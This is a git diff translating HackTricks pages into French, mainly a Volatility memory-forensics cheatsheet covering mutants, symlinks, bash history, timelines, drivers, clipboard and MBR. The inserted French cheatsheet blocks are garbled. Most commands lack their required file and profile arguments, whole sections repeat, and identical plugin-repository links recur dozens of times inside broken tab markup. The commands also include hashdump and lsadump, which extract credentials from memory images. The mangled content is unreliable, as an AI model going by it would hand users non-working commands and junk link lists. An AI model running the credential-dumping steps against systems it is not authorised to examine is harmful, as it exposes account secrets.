officielle de Volatility](https://www.volatilityfoundation.org/) +- [Volatility Labs](https://volatility-labs.blogspot.com/) +- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) +- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) ```bash volatility --profile=Win7SP1x86_23418 mutantscan -f file.dmp volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p -t mutant @@ -704,16 +8901,389 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p -t mutant {% endtab %} {% endtabs %} -### Symlinks - -{% tabs %} -{% tab title="vol3" %} +### Liens symboliques ```bash ./vol.py -f file.dmp windows.symlinkscan.SymlinkScan ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des utilisateurs + +```bash +volatility -f hivelist +``` + +```bash +volatility -f hashdump -s -y -s -y +``` + +```bash +volatility -f userassist +``` + +```bash +volatility -f getsids +``` + +```bash +volatility -f printkey -K +``` + +### Analyse des fichiers + +```bash +volatility -f filescan +``` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Analyse des vulnérabilités + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Plugins + +### Plugin `malfind` + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +### Plugin `yarascan` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +### Plugin `dumpregistry` + +```bash +volatility -f dumpregistry -o -D +``` + +### Plugin `dumpfiles` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Plugin `dumpcerts` + +```bash +volatility -f dumpcerts -O +``` + +### Plugin `moddump` + +```bash +volatility -f moddump -D +``` + +### Plugin `modscan` + +```bash +volatility -f modscan +``` + +### Plugin `apihooks` + +```bash +volatility -f apihooks -p +``` + +### Plugin `ldrmodules` + +```bash +volatility -f ldrmodules -p +``` + +### Plugin `handles` + +```bash +volatility -f handles -p +``` + +### Plugin `cmdscan` + +```bash +volatility -f cmdscan -p +``` + +### Plugin `svcscan` + +```bash +volatility -f svcscan +``` + +### Plugin `printkey` + +```bash +volatility -f printkey -K +``` + +### Plugin `getsids` + +```bash +volatility -f getsids +``` + +### Plugin `userassist` + +```bash +volatility -f userassist +``` + +### Plugin `dumpregistry` + +```bash +volatility -f dumpregistry -o -D +``` + +### Plugin `dumpcerts` + +```bash +volatility -f dumpcerts -O +``` + +### Plugin `connscan` + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +### Plugin `sockets` + +```bash +volatility -f sockets +``` + +### Plugin `sockscan` + +```bash +volatility -f sockscan +``` + +### Plugin `connscan` + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +### Plugin `sockets` + +```bash +volatility -f sockets +``` + +### Plugin `sockscan` + +```bash +volatility -f sockscan +``` + +## Ressources + +- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) +- [Volatility Labs](https://volatility-labs.blogspot.com/) +- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) +- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) (en anglais) +- [Volatility Plugin List](https://github.com/superponible/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/tehw0lf/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan ``` @@ -722,106 +9292,1163 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan ### Bash -It's possible to **read from memory the bash history.** You could also dump the _.bash\_history_ file, but it was disabled you will be glad you can use this volatility module - -{% tabs %} -{% tab title="vol3" %} +Il est possible de **lire depuis la mémoire l'historique de bash**. Vous pouvez également extraire le fichier _.bash\_history_, mais s'il est désactivé, vous serez heureux de pouvoir utiliser ce module de Volatility. ``` ./vol.py -f file.dmp linux.bash.Bash ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des utilisateurs + +```bash +volatility -f hivelist +``` + +```bash +volatility -f hashdump -s -y -s -y +``` + +```bash +volatility -f userassist +``` + +```bash +volatility -f getsids +``` + +```bash +volatility -f printkey -K +``` + +### Analyse des fichiers + +```bash +volatility -f filescan +``` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Analyse des vulnérabilités + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Plugins + +### Plugin `malfind` + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +### Plugin `apihooks` + +```bash +volatility -f apihooks -p +``` + +### Plugin `ldrmodules` + +```bash +volatility -f ldrmodules -p +``` + +### Plugin `handles` + +```bash +volatility -f handles -p +``` + +### Plugin `cmdscan` + +```bash +volatility -f cmdscan -p +``` + +### Plugin `dumpfiles` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Plugin `yarascan` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Ressources + +- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) +- [Volatility Labs](https://volatility-labs.blogspot.com/) +- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) +- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) ``` volatility --profile=Win7SP1x86_23418 -f file.dmp linux_bash ``` {% endtab %} {% endtabs %} -### TimeLine - -{% tabs %} -{% tab title="vol3" %} +### Chronologie ```bash ./vol.py -f file.dmp timeLiner.TimeLiner ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des utilisateurs + +```bash +volatility -f hivelist +``` + +```bash +volatility -f hashdump -s -y -s -y +``` + +```bash +volatility -f userassist +``` + +```bash +volatility -f getsids +``` + +```bash +volatility -f printkey -K +``` + +### Analyse des fichiers + +```bash +volatility -f filescan +``` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Analyse des vulnérabilités + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Plugins + +### Plugin `malfind` + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +### Plugin `yarascan` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +### Plugin `dumpregistry` + +```bash +volatility -f dumpregistry -o -D +``` + +### Plugin `dumpfiles` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Plugin `moddump` + +```bash +volatility -f moddump -D -m +``` + +### Plugin `procdump` + +```bash +volatility -f procdump -p -D +``` + +### Plugin `memdump` + +```bash +volatility -f memdump -p -D +``` + +### Plugin `apihooks` + +```bash +volatility -f apihooks -p +``` + +### Plugin `ldrmodules` + +```bash +volatility -f ldrmodules -p +``` + +### Plugin `handles` + +```bash +volatility -f handles -p +``` + +### Plugin `cmdscan` + +```bash +volatility -f cmdscan -p +``` + +### Plugin `hashdump` + +```bash +volatility -f hashdump -s -y -s -y +``` + +### Plugin `printkey` + +```bash +volatility -f printkey -K +``` + +## Ressources + +- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) +- [Volatility Labs](https://volatility-labs.blogspot.com/) +- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) +- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) (en anglais) +- [Volatility Plugin List](https://github.com/superponible/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/tehw0lf/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/aim4r/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/aim4r/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/aim4r/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/aim4r/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) ``` volatility --profile=Win7SP1x86_23418 -f timeliner ``` {% endtab %} -{% endtabs %} - -### Drivers - -{% tabs %} {% tab title="vol3" %} + +### Pilotes + +{% endtab %} +{% endtabs %} ``` ./vol.py -f file.dmp windows.driverscan.DriverScan ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des utilisateurs + +```bash +volatility -f getsids +``` + +```bash +volatility -f getsids -U +``` + +```bash +volatility -f getsids -u +``` + +```bash +volatility -f getsids -p +``` + +```bash +volatility -f envars -p +``` + +### Analyse des fichiers + +```bash +volatility -f filescan | grep -i +``` + +```bash +volatility -f dumpfiles -Q -D +``` + +```bash +volatility -f dumpfiles -Q -D --name +``` + +```bash +volatility -f dumpfiles -Q -D --dump-dir +``` + +### Analyse des registres + +```bash +volatility -f hivelist +``` + +```bash +volatility -f printkey -K +``` + +```bash +volatility -f printkey -o +``` + +```bash +volatility -f hashdump -y -s -h -S +``` + +### Analyse des vulnérabilités + +```bash +volatility -f malfind --dump-dir | grep -i +``` + +```bash +volatility -f malfind --dump-dir | grep -i +``` + +```bash +volatility -f malfind --dump-dir | grep -i +``` + +```bash +volatility -f malfind --dump-dir | grep -i +``` + +## Plugins + +### apihooks + +```bash +volatility -f apihooks -p +``` + +### atomscan + +```bash +volatility -f atomscan +``` + +### autoruns + +```bash +volatility -f autoruns +``` + +### bigpools + +```bash +volatility -f bigpools +``` + +### bioskbd + +```bash +volatility -f bioskbd +``` + +### callbacks + +```bash +volatility -f callbacks +``` + +### clipboard + +```bash +volatility -f clipboard +``` + +### cmdscan + +```bash +volatility -f cmdscan +``` + +### connections + +```bash +volatility -f connections +``` + +### connscan + +```bash +volatility -f connscan +``` + +### crashinfo + +```bash +volatility -f crashinfo +``` + +### deskscan + +```bash +volatility -f deskscan +``` + +### devicetree + +```bash +volatility -f devicetree +``` + +### dlldump + +```bash +volatility -f dlldump -p -D +``` + +### dlllist + +```bash +volatility -f dlllist +``` + +### driverirp + +```bash +volatility -f driverirp +``` + +### driverscan + +```bash +volatility -f driverscan +``` + +### dumpcerts + +```bash +volatility -f dumpcerts +``` + +### dumpfiles + +```bash +volatility -f dumpfiles -Q -D +``` + +### envars + +```bash +volatility -f envars -p +``` + +### evtlogs + +```bash +volatility -f evtlogs +``` + +### filescan + +```bash +volatility -f filescan +``` + +### gahti + +```bash +volatility -f gahti +``` + +### getsids + +```bash +volatility -f getsids +``` + +### handles + +```bash +volatility -f handles +``` + +### hashdump + +```bash +volatility -f hashdump -y -s -h -S +``` + +### hibinfo + +```bash +volatility -f hibinfo +``` + +### hivelist + +```bash +volatility -f hivelist +``` + +### hivescan + +```bash +volatility -f hivescan +``` + +### hpakextract + +```bash +volatility -f hpakextract -O -p +``` + +### iehistory + +```bash +volatility -f iehistory +``` + +### imagecopy + +```bash +volatility -f imagecopy -O -p +``` + +### imageinfo + +```bash +volatility -f imageinfo +``` + +### impscan + +```bash +volatility -f impscan +``` + +### kdbgscan + +```bash +volatility -f kdbgscan +``` + +### kpcrscan + +```bash +volatility -f kpcrscan +``` + +### kthreadscan + +```bash +volatility -f kthreadscan +``` + +### ldrmodules + +```bash +volatility -f ldrmodules -p +``` + +### lsadump + +```bash +volatility -f lsadump -s -d -p +``` + +### malfind + +```bash +volatility -f malfind -D +``` + +### memdump + +```bash +volatility -f memdump -p -D +``` + +### messagehooks + +```bash +volatility -f messagehooks +``` + +### moddump + +```bash +volatility -f moddump -p -D +``` + +### modscan + +```bash +volatility -f modscan +``` + +### mutantscan + +```bash +volatility -f mutantscan +``` + +### netscan + +```bash +volatility -f netscan +``` + +### notepad + +```bash +volatility -f notepad +``` + +### poolscanner + +```bash +volatility -f poolscanner +``` + +### printkey + +```bash +volatility -f printkey -K +``` + +### privs + +```bash +volatility -f privs +``` + +### procdump + +```bash +volatility -f procdump -p -D +``` + +### pslist + +```bash +volatility -f pslist +``` + +### psscan + +```bash +volatility -f psscan +``` + +### pstree + +```bash +volatility -f pstree +``` + +### regdiff + +```bash +volatility -f regdiff -K -O +``` + +### screenshot + +```bash +volatility -f screenshot -p -D +``` + +### shellbags + +```bash +volatility -f shellbags +``` + +### shimcache + +```bash +volatility -f shimcache +``` + +### sockets + +```bash +volatility -f sockets +``` + +### sockscan + +```bash +volatility -f sockscan +``` + +### ssdt + +```bash +volatility -f ssdt +``` + +### strings + +```bash +volatility -f strings -s -e -n +``` + +### svcscan + +```bash +volatility -f svcscan +``` + +### thrdscan + +```bash +volatility -f thrdscan +``` + +### timers + +```bash +volatility -f timers +``` + +### userassist + +```bash +volatility -f userassist +``` + +### vadinfo + +```bash +volatility -f vadinfo -p +``` + +### vadtree + +```bash +volatility -f vadtree -p +``` + +### verinfo + +```bash +volatility -f verinfo +``` + +### windows + +```bash +volatility -f windows +``` + +### wndscan + +```bash +volatility -f wndscan +``` + +### yarascan + +```bash +volatility -f yarascan -Y +``` + +## Ressources + +- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) +- [Volatility Labs](https://volatility-labs.blogspot.com/) +- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) +- [Volatility Cheat Sheet](https://www.sans.org/blog/volatility-cheat-sheet-2-0/) +- [Volatility Cheat Sheet 2.0](https://www.sans.org/blog/volatility-cheat-sheet-2-0/) ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp driverscan ``` {% endtab %} {% endtabs %} -### Get clipboard - +### Obtenir le presse-papiers ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 clipboard -f file.dmp ``` - -### Get IE history - +### Obtenir l'historique d'Internet Explorer ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 iehistory -f file.dmp ``` - -### Get notepad text - +### Obtenir le texte du bloc-notes ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 notepad -f file.dmp ``` - -### Screenshot - +### Capture d'écran ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp ``` - ### Master Boot Record (MBR) +### Enregistrement de démarrage principal (MBR) ``` volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp ``` +Le MBR contient des informations sur la façon dont les partitions logiques, contenant des systèmes de fichiers, sont organisées sur ce support. Le MBR contient également un code exécutable pour fonctionner en tant que chargeur pour le système d'exploitation installé - généralement en passant le contrôle au deuxième étage du chargeur, ou en conjonction avec le volume boot record (VBR) de chaque partition. Ce code MBR est généralement appelé chargeur de démarrage. À partir d'ici. -The MBR holds the information on how the logical partitions, containing [file systems](https://en.wikipedia.org/wiki/File\_system), are organized on that medium. The MBR also contains executable code to function as a loader for the installed operating system—usually by passing control over to the loader's [second stage](https://en.wikipedia.org/wiki/Second-stage\_boot\_loader), or in conjunction with each partition's [volume boot record](https://en.wikipedia.org/wiki/Volume\_boot\_record) (VBR). This MBR code is usually referred to as a [boot loader](https://en.wikipedia.org/wiki/Boot\_loader). From [here](https://en.wikipedia.org/wiki/Master\_boot\_record). - -​ - -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+RootedCON est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md index 50e716c31..d3a642a83 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md @@ -1,27 +1,26 @@ -# Suricata & Iptables cheatsheet +# Feuille de triche Suricata & Iptables
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
